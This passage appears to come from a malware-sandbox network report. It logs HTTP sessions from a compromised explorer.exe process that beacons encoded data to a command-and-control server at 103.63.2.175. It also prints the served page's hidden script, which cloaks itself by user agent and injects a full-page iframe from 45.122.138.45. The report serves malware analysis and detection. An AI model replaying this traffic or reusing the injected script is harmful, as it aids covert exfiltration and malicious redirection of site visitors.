53 49 35 39 49 6a 69 38 68 38 56 75 54 64 35 36 42 58 34 44 35 48 4a 68 78 46 75 6e 79 54 31 6a 57 76 78 79 42 6c 63 4f 49 52 34 45 69 54 56 5f 6e 49 28 31 30 5a 6e 48 75 2d 49 50 72 36 5a 31 6d 59 44 71 4a 56 50 2d 71 6b 49 44 72 52 59 4f 31 49 57 53 34 50 61 64 65 7a 4b 50 5a 45 67 58 52 50 57 33 69 77 4f 5a 33 52 37 55 7e 77 35 5f 72 5a 78 71 63 74 4a 67 41 6a 41 79 79 54 78 6a 75 58 43 6e 50 67 47 75 6c 7a 4f 65 76 5a 70 49 74 67 72 39 30 42 70 2d 47 6e 72 6d 63 30 58 77 4d 67 50 69 28 77 43 31 6c 78 67 32 6b 6c 61 78 71 77 76 4a 38 2d 72 41 6d 4d 53 41 4d 30 6d 71 44 62 4e 6b 53 37 55 4d 32 6b 75 78 6e 44 50 32 78 58 69 4c 38 4d 7e 7a 50 41 7e 56 54 70 53 72 67 54 49 66 58 65 39 47 71 57 6b 39 4a 6e 77 42 56 6d 4e 5a 7e 38 38 4a 6c 67 7e 52 47 7a 6f 69 6e 74 5a 32 7e 4c 45 4d 42 63 7a 4f 68 75 77 7a 68 34 7a 67 4a 78 55 36 38 42 33 51 4b 4a 48 35 65 72 48 56 59 2d 48 4e 35 75 4b 4f 28 57 75 43 4b 70 70 45 41 32 48 5a 7e 47 59 55 38 36 6a 72 73 4d 68 42 59 5a 78 78 6c 68 53 4e 71 63 49 6d 53 30 34 7a 46 6d 35 48 7e 53 31 50 76 41 69 70 62 44 4f 69 52 65 59 71 46 32 41 76 74 30 76 31 61 31 4c 79 33 69 58 55 50 54 63 45 34 67 28 72 6f 56 44 6d 54 4c 76 38 4f 6f 65 47 38 7a 30 38 61 68 44 2d 75 Data Ascii: r4txB=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssgnUHCKqrunWbMQvRMKSzz5sqd1Uc1dMl2DWp1yzWWQ7QWmQLcJnzTe6yp0iPtP6YhO~0CME14ZcwFfGekyN37sAI2PQWvzpLqq1WqKyO88Rel6GBpAelVfKBz4Zl6Kk_~ewdENpB7tP_7lwdL-3PdwKQjybFGjPtLvZYmBfGIcsK8tLhYWzRV5Tmay00BCOpEVKrWy6WJqmyE2NX5eX-QKahAeVKH_24anYmb5O0sSk5fATQMRWELR5rHWgpq-UaHEfKUZgomcHbsxKRY9dCaCQXx068jWyYNCrDrVntiTTL30ZZRxiv8rK0b1P3XqyL3oBiHrrcOkahsRL2jEjcna1rIdyETCs3uGsRR66F0VycNHf0K1PRfk8Xw9QETBVEnU5vr9oqJJX9tzato1PFE_2SpwfBmCOILKF2Qs~_gU9XpBOXIqpHlJP74HFh6yYKEvnx66DmQ_ePdl~gQnDWpbHRR3lONoTEH10VISHcysQbRKf0bDxqiImlBoOv6erXG3PJY9oT3Ebym9pxoZsecckuY4hxGSDet_Q0NjjblBQgfaK3Uj5YOGePbHN1TtYAO8myGa1MXLGvwjhU3B6Yz2~GqLvVcSrlxodJjxgynCoAaJhqCUdb0kKfzPDA7qcvm1RekNudPw0RtaD3OJfS1TFHySgRRV2wkAh15_t6UFh1AkpsjPf3Dw~b7UyububFN9wJ9gZk(RJLLemWuJ1d0MYisND1o0MhdEAqZOkesk0JmyXqyPuQ77PFxlYZrz7MgNucqxWra8JQRsEM614s~OzRyZwNL4mrXJK9fysCI3wRz2Rz~8M6EE~cAU(r~QWbSiLvwijLtE5J7PN_N5wiV4PA4YA9yX5sV6F6ebiUSfn1jATmnFPXfxNNddxxi2coeGsedIMHdYvJLpSI59Iji8h8VuTd56BX4D5HJhxFunyT1jWvxyBlcOIR4EiTV_nI(10ZnHu-IPr6Z1mYDqJVP-qkIDrRYO1IWS4PadezKPZEgXRPW3iwOZ3R7U~w5_rZxqctJgAjAyyTxjuXCnPgGulzOevZpItgr90Bp-Gnrmc0XwMgPi(wC1lxg2klaxqwvJ8-rAmMSAM0mqDbNkS7UM2kuxnDP2xXiL8M~zPA~VTpSrgTIfXe9GqWk9JnwBVmNZ~88Jlg~RGzointZ2~LEMBczOhuwzh4zgJxU68B3QKJH5erHVY-HN5uKO(WuCKppEA2HZ~GYU86jrsMhBYZxxlhSNqcImS04zFm5H~S1PvAipbDOiReYqF2Avt0v1a1Ly3iXUPTcE4g(roVDmTLv8OoeG8z08ahD-ulBYkXPH8HOJ84rBA6Nb9ppVQKrRev4_TJUrASCXzQrjW4wNg0auhj~sB837rFg2pyO5CNF4orTm1o78lmmmuyCgKQHkPUznU_CtbXXFnbf9C3UUkqOZhXDqh9gknZIsYIGBfRvUdUMQaXp7JW2J5McANgXd7Dqxjjf3UCsALnW0jFRjC3BOEhfzrT~_hfRvTmEqdtYvW6MzJ6LVoG(0lK5IHlBNeUKpTOFZPFfNIgZypEY7plKXW_cxJReXPOxdJz~Arcxs5VJ6vX6f5b3CcAW3lpEBw2D5NxyBnI(RmgwJiSwtCKPVj3RqrwrErN0oCwCDEPly4Iv_rm9ZL1C85Zh0XECC6GkUFVshHhirjdHtGxtIbW3d1kIAvch24rEPKfkEEObevsKQfPh3nOvM(lJwqgm1ERGqVyQEB1iPEDTGups9shhYCJOaZwAJf9DO9FEXKdycl6ZeI0uggq13tDARHeUf6_itO1J2AWOPzFLutN3ODtbE~K4kmmZdVmI_ybyXjSmOXLzbsBLTo59RvmsvCqG-p0n_81MbLjPBCgE7~Ta3wVSov-fmeu(T~vcUed~ZCqDwA4Emdgg6R-i1OoMqnLJIFIAgjaqgylUKWBLT4FgLgiHqCZlQCuNjmHAGdeQj9Tz8EzCfOhT8LjStT_ZiwKQRN0bpwJezmWz3xrVNxshjHucJ(BngPIezn_5apL2l1h5Sujbq0OI5nbxzgF18J-hjPscKhE7_xZhc0wapnl4SLvBT2ewMZ3sCyZ0eMSDkiZsxGckjVc2OME40bjcmJdzAJCYLT_5RfJRnLbqmLOBY0KAAupYCYjhMNKSh5M2-xRO3ohS7ebsDrx5zf0nojDSC(hScOJRnGRu-ZHr1BVJ2kfsmXZCt6vIxKphU4sYfDRCgwWQSroL4(W48nz37HYiODXYmjKp1VFOGgkLSZ_rqOM(iN1XQNpImRLSfeEiD(CHCtqAK~w(3U_lyYjgAi3r0KOrzhTBg4fuP78VN40eTi6gXV3KLPBZDlf6EGHt6p6CkwbFmf1T7k58sJ6SUa15JsoBKlXtzi1I1jxLPPxBO6aX3(ze0QCkpKkSs5wBD7JHgScSBftq7YXdyAqUHEBmgclI9VXuxr1hA06IlD8(X2FlAcFC7HzTStjSOKY2El9VsRLwbd19l3g5GEdstyCci4o9hZln8T6n870ZbmLzLzVTQ~nyiGYmuHut4ED0ztOohm0OYHAB9gwsXB5NASKAH5b5QtwNlKkJaVNRm2i0u~rpkQHE-MtKZUdUTbeujxhWxl3fOdlhddqYGPAazFn6tXF0d~0rdmcNZ5z8ArbNZBBewys5rRTyj2iryxiJy6xQTNBRj0Ayf9jnWMbdWvVy-kuxH5IPzNDgrBkbbWovfhoayz-l2Bi0s4j6YT1GhHPmfoCczOeVfQhw_5niyweJaL0Rz~BOO(5PUD-oNcBwPBx24fz2GKxNmVYxPg0dA4A(9Ank5V0wjObIQ~Wyrlfqtb6hekGNIx-YhWCuJwJ9dbC5xzmxqyqx-w38QkGJTHAjm4_~JLip3aSrA8e7z~g1JzbOjxf9a9VJu4D(DA5zD76NmutYRPHRTr47EHrtmazYlmje3pOPfFKUjB51KocUdOKmDvqv9IhyqRKq8scso5duBffFVZpoNhUHSryBMJUNLcU6hAMRuLFaQMwDxLIzJ~6WR339Nt5tFtHJ6nnYjzbLXBuuNU0xLvD~eht01zGueNOXSMxjB5w7MKzYXxFQw5NEpf9Myai7UUtbedwukPuEmTgjvMaVK~_EiZvXVPO(nGMBmb6qhrBllUwsbp6v0ZYSp8alTI_Tu2UOAnf6RAPY5~PUUrFK1Db7lr8(m67uLJ-IjD26RMA7Z9At5(8U7FPEZxk7if0m1RxJLJI0CeYbwUDxm3TtEwoAveV(OQ-9DwUvDxAmr~KYjCCKirtUXTyx0VKfHLA(YnQhHUzK3Ji(ip7A7xXsU0skwRP~YOOyQFlmyJpggOolXF3wqocHuRqUyxE4QU3oUbUeXaA8PPDI4GA0wtXZXUAj8~B8VQ_eq1zX92GfU7kRvC1lmJzvVf_~HV1dZ5m2vU7(mUrckourRHsR2ue0P(i3UB6DsgaUpScj-A9ehf8BtoP~-63q_s1jZD7d5aDm0yhSnf2Rc~8lLrjvtK3JU6dtT7UZ3tMcpxoQxmrJV9lqeWc6BmFekXhB59EXhDK2BwzN7zpAxWQ4KJ-5IANNQ6Bq_loC_9NwKwwmax9Zho6aNuoLxBcXYgIQwxlJ3ScWNLP0ykZnRjUai~0KIkxIgo9IJBbd6CxzsOrQG0_4dPQwSvsFH178khu~vU92VrhjbLNnSQQKC~wgFujzMxQV4hhleWrCQwb5COpJGrtMziLq0gXLLqFQIW1QRwTtiEambwNIEq8EkvYdsYhRuxCEgE9UQcjTntSsCjpLp3jQxbD07Sed17j~4ExqYM-hgj-U-MgDV7RJVr82Wkp6I0r2VVtnxqYikj8ptr_Ymijfr(G(-(FDTInvLK7wy2atZr_YRTnM_SZbA5hOKj79xWa5p7ad3riAu1lQKKcDsoFC8eKssr_HpT9~YGNhiYvnBqaWnP7p9zImIDkTO6gqeGnuTxlpdUNk4QqgD~8iKzUaPnmJZ1TQgJdbTkrCMgTLWdAs3TMjAL_RIyb0LcET8vwweWcclnvN0KpzdAgICydix1gC5i1Qr2JM-XQ~1hYOX
Nov 21, 2022 19:25:02.334825993 CET	1971	OUT	Data Raw: 65 79 42 77 49 43 34 6f 39 38 35 30 31 6c 38 74 36 68 48 33 61 75 35 45 28 6b 5a 49 6d 58 70 4c 56 6f 53 74 66 42 79 77 7a 4a 42 68 4f 38 4f 6b 4c 48 6b 2d 75 72 6a 53 43 49 4d 7a 35 63 7e 74 79 64 68 62 33 32 77 74 57 30 38 49 77 78 65 4b 4d 59 Data Ascii: eyBwIC4o98501l8t6hH3au5E(kZImXpLVoStfBywzJBhO8OkLHk-urjSCIMz5c~tydhb32wtW08IwxeKMY6tYAkt2bvmhXIiWGYDUmk_RfxuPdDsOhjx4RKfAEU6KNPjLg7bLADTlHQ2XfWr(u(vRqrl0gHl7XH4nGt1mntm9NNLBHkctkou4SfuYtRpxqQLpJrAjy8C4pV69WuFigZHjd(Du6tNCjmMU4NluBGeKYdDgVmUXcJ
Nov 21, 2022 19:25:02.523273945 CET	1974	OUT	Data Raw: 4a 66 52 6d 7a 39 71 4f 76 75 35 61 37 30 73 54 73 6d 7a 72 65 77 41 70 4e 45 39 77 30 4c 5a 56 43 78 32 47 66 39 28 38 54 70 54 4d 54 70 36 38 64 48 47 41 69 2d 32 39 51 67 33 4e 7a 4a 6e 4e 32 50 6b 52 43 4a 47 44 38 70 28 47 61 4a 37 74 55 57 Data Ascii: JfRmz9qOvu5a70sTsmzrewApNE9w0LZVCx2Gf9(8TpTMTp68dHGAi-29Qg3NzJnN2PkRCJGD8p(GaJ7tUWgEvEJZ91I0EOhDxL7l(9RuEsq-2djGg0U2kFeOzxjMIQrQRV5B9fFbSdho1fJNbmbln0er48IqaW4UKb3z4PrbjOqFp9h33l3QQse84uEZO1dm0xJ4tJHjeWVdsxzlxJEg5LRCM2I2CIIdPEBThNkHIwp0nj1sh51
Nov 21, 2022 19:25:02.523319006 CET	1979	OUT	Data Raw: 66 4b 5a 70 66 41 4e 72 76 68 31 51 73 70 70 39 6d 79 79 43 4a 68 56 75 36 41 54 4d 31 55 62 43 52 75 6f 6e 57 7a 56 74 76 58 52 59 44 57 37 45 61 41 61 59 51 38 6b 31 4e 4f 47 54 73 45 76 74 6e 57 4f 4a 79 54 62 57 6e 50 57 49 59 66 31 6e 6d 74 Data Ascii: fKZpfANrvh1Qspp9myyCJhVu6ATM1UbCRuonWzVtvXRYDW7EaAaYQ8k1NOGTsEvtnWOJyTbWnPWIYf1nmtOxMhdGX_ljBaAphYWozMsmuFxACLA7RICJdbWV(X(RFis7RFiS~Znct11idUPfKqbGYn86K2H_Pfk9zTnF5p8lm2MZ4DEQAqLgRS(Q~vlssMRwUxeMLyrtrRTTr8hklN0DUmBlVOVXH98nvjtCEhGIzaHsPR7-kKI
Nov 21, 2022 19:25:02.523400068 CET	1980	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:25:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0
Nov 21, 2022 19:25:02.523646116 CET	1983	OUT	Data Raw: 65 58 66 37 4c 2d 68 30 51 4e 69 38 65 39 64 31 37 69 4f 44 59 75 62 43 45 47 6f 48 57 4d 68 39 79 57 72 50 43 64 36 67 77 70 4c 71 62 48 38 30 7e 47 6b 33 65 6c 30 31 34 55 59 67 57 38 37 6a 38 43 54 76 56 4a 56 59 54 62 71 72 79 4a 47 6e 32 5f Data Ascii: eXf7L-h0QNi8e9d17iODYubCEGoHWMh9yWrPCd6gwpLqbH80~Gk3el014UYgW87j8CTvVJVYTbqryJGn2_Y25GQLaSNQ~KqCNIekoafHBvprq5Cdcj7ut1soVAChyM2NmWwIxjypToOpziTOwWfRpDiTKZlbu6vEbc2sO_vb6ncM5wweyB5TaWd7m7UWUEIujMdf7nrDty8B8vd6tilMVIyI2OdN4osWK-avzs3fagqYCpeLAzK
Nov 21, 2022 19:25:02.523804903 CET	1985	OUT	Data Raw: 64 44 4e 6d 63 64 6b 63 63 56 39 4e 30 6e 79 79 41 71 4b 6a 32 58 65 68 6e 64 51 44 52 5f 28 4a 53 53 41 73 7a 38 56 78 32 79 46 4d 65 53 46 78 6d 67 50 44 58 79 52 54 76 73 47 46 6a 71 68 4e 72 4d 76 77 36 6d 41 70 76 4f 4c 63 72 66 48 4f 62 37 Data Ascii: dDNmcdkccV9N0nyyAqKj2XehndQDR_(JSSAsz8Vx2yFMeSFxmgPDXyRTvsGFjqhNrMvw6mApvOLcrfHOb7hVmtqv9SA66enoSflWQJsbe_mYc5NLSwBluIjGvku-nq~TxPH_wGGt4mkEubxmxZwY0Juyr6jMsD5o7ZcATNoH6mRMkUYCQu(YJcFgzusmhm~Im-pcXsGHPcmsI1eH40YeOzJwjiX4BfEts8xqQfnx~-FlBz0pmez
Nov 21, 2022 19:25:02.524157047 CET	1998	OUT	Data Raw: 70 4a 45 72 66 33 48 78 66 4b 68 70 67 54 6c 78 51 2d 33 5f 6d 66 6c 55 67 6f 4c 54 4b 50 36 4d 46 7a 59 68 36 45 43 2d 4f 6b 69 7a 51 32 6b 51 43 34 31 36 61 6f 66 6b 31 48 30 69 66 74 74 63 7a 6b 54 76 61 73 33 55 61 4a 4c 37 72 69 38 79 6f 35 Data Ascii: pJErf3HxfKhpgTlxQ-3_mflUgoLTKP6MFzYh6EC-OkizQ2kQC416aofk1H0ifttczkTvas3UaJL7ri8yo5IlhvBrT6Vkana0XrRRlyYd3nCh2uhJf-hTxf6jtLfMHVwTVPw6qlAJ2IIzGvtAgU1M(lPXXsRU3H1U557dS6m2wAKKRpwcGLA_C_061SSirrJ7d_RrU9~TPq4MojkF1wPc2S~goWSyIoACzY8sl9SNJDVute9muWP
Nov 21, 2022 19:25:02.711913109 CET	2001	OUT	Data Raw: 65 69 49 30 57 47 75 77 54 65 6e 6b 72 2d 66 52 6a 70 4b 46 41 56 6e 42 4e 36 37 77 6f 71 62 35 61 67 37 75 53 30 7a 69 6c 52 4e 50 5a 58 65 59 4b 63 6d 38 57 30 6b 50 34 74 4c 72 48 65 6e 64 72 44 47 73 39 69 6d 35 30 54 4b 69 33 4c 54 6d 63 63 Data Ascii: eiI0WGuwTenkr-fRjpKFAVnBN67woqb5ag7uS0zilRNPZXeYKcm8W0kP4tLrHendrDGs9im50TKi3LTmcc1GEdzjKytr(tl2RAUPkgo1BVuFi1pdz1dRC2xEpd6vK5V_uzXIhOz2RpK10-ilv3UyMcmGomrfVR6dlG4GjnnMXrgY(OOSMJvk(Gbq2GD711g4LDRjygYtOVbd8tUYvAxUQG3XEaqIadyXq6Hu7etN(qAzetF_VnD
Nov 21, 2022 19:25:02.712023020 CET	2003	OUT	Data Raw: 32 69 52 49 52 34 48 48 44 5a 7e 4d 50 75 4c 47 74 47 6e 53 57 36 4c 75 4d 47 72 67 57 5a 46 36 7e 52 46 69 78 71 39 71 4b 44 44 46 63 64 6b 32 6b 6e 7a 53 44 6a 79 71 4d 79 41 5f 4b 5f 48 5f 30 4f 61 6f 53 4a 79 51 61 34 48 70 4c 66 71 66 67 4f Data Ascii: 2iRIR4HHDZ~MPuLGtGnSW6LuMGrgWZF6~RFixq9qKDDFcdk2knzSDjyqMyA_K_H_0OaoSJyQa4HpLfqfgOo2csKqLGa9ivihOFSIamp_maT1Pg87K6b6k32_mCr4Ss(A6Xh2mZ~nt4S5rGsHOHTZBiBJMNRE7TafWy9ULsrEuUh65EEXkVKlKFIaTBKyry5UArSf3DKv1bwWgVcpbWA8gM7oVJ3zOJZfWCLPxkOUrUA-RmMy51I
Nov 21, 2022 19:25:02.712335110 CET	2012	OUT	Data Raw: 52 45 52 63 58 53 39 59 44 65 63 5f 35 74 4a 65 6b 6f 6c 58 50 35 57 62 28 5a 36 47 5a 6a 6f 4a 7a 64 61 64 47 64 50 2d 35 46 55 52 33 42 7a 33 43 61 43 48 73 72 34 31 51 36 32 63 6d 55 76 4b 74 36 53 65 43 2d 79 48 39 58 39 76 33 35 51 44 45 7a Data Ascii: RERcXS9YDec_5tJekolXP5Wb(Z6GZjoJzdadGdP-5FUR3Bz3CaCHsr41Q62cmUvKt6SeC-yH9X9v35QDEzf4krqiAPGF9fE9zL0UIZdgVzs0q6pDMPERd9E6m-a3cZ6ZLB7TCtXkKMFzA-4tmYbM2vxxN6qv2Ati3wtimDxeXfrvHwPC236MYbZaS94asEA0R4UCQn4FqvMu2pg8UgkGtLVWX4jYM_YhRzDGUP~uiTLSeZMu3TC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.11.20	49909	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:04.539756060 CET	2013	OUT	GET /nqhc/?r4txB=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&1b=S8jD HTTP/1.1 Host: www.005404.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:25:04.714916945 CET	2014	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:25:04 GMT Content-Type: text/html Content-Length: 1741 Connection: close Vary: Accept-Encoding ETag: "634bbb43-6cd" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 3e 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 62 61 69 64 75 22 29 20 3d 3d 20 2d 31 29 7b 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 22 e6 be b3 e9 97 a8 e9 93 b6 e6 b2 b3 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 34 35 2e 31 32 32 2e 31 33 38 2e 34 35 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 27 27 29 3b 76 61 72 20 73 73 3d 27 3c 64 69 76 20 69 64 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 22 3e 3c 69 66 72 61 6d 65 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 79 65 73 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 30 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 30 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 77 69 64 74 68 3d 22 31 34 30 30 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 73 72 63 3d 22 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 31 36 3b 26 23 31 31 32 3b 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 30 3b 26 23 35 30 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 31 3b 26 23 35 36 3b 26 23 34 36 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 37 3b 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 64 69 76 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 74 6d 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 20 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 3c 2f 73 74 79 6c 65 3e 27 3b 65 76 61 6c 28 22 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 22 2b 73 73 2b 22 27 29 3b 22 29 3b 74 72 79 7b 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 64 69 76 41 6c 6c 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 63 61 74 63 68 28 65 29 7b 7d 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 74 72 79 7b 76 61 72 20 74 61 67 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 74 61 67 4e 61 6d 65 3b 76 61 72 20 6d 79 69 64 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 69 64 3b 69 66 28 6d 79 69 64 21 3d 22 69 63 6f Data Ascii: <html><head><meta charset="UTF-8"/><title>404 Not Found</title><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title =""}</script><link rel="icon" type="image/x-icon" href="http://45.122.138.45/favicon.ico"><script>document.writeln('');var ss='<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="1400" height="100%" src="http://45.122.138.45/"></iframe></div><style type="text/css">html{width:100%;height:100%}body 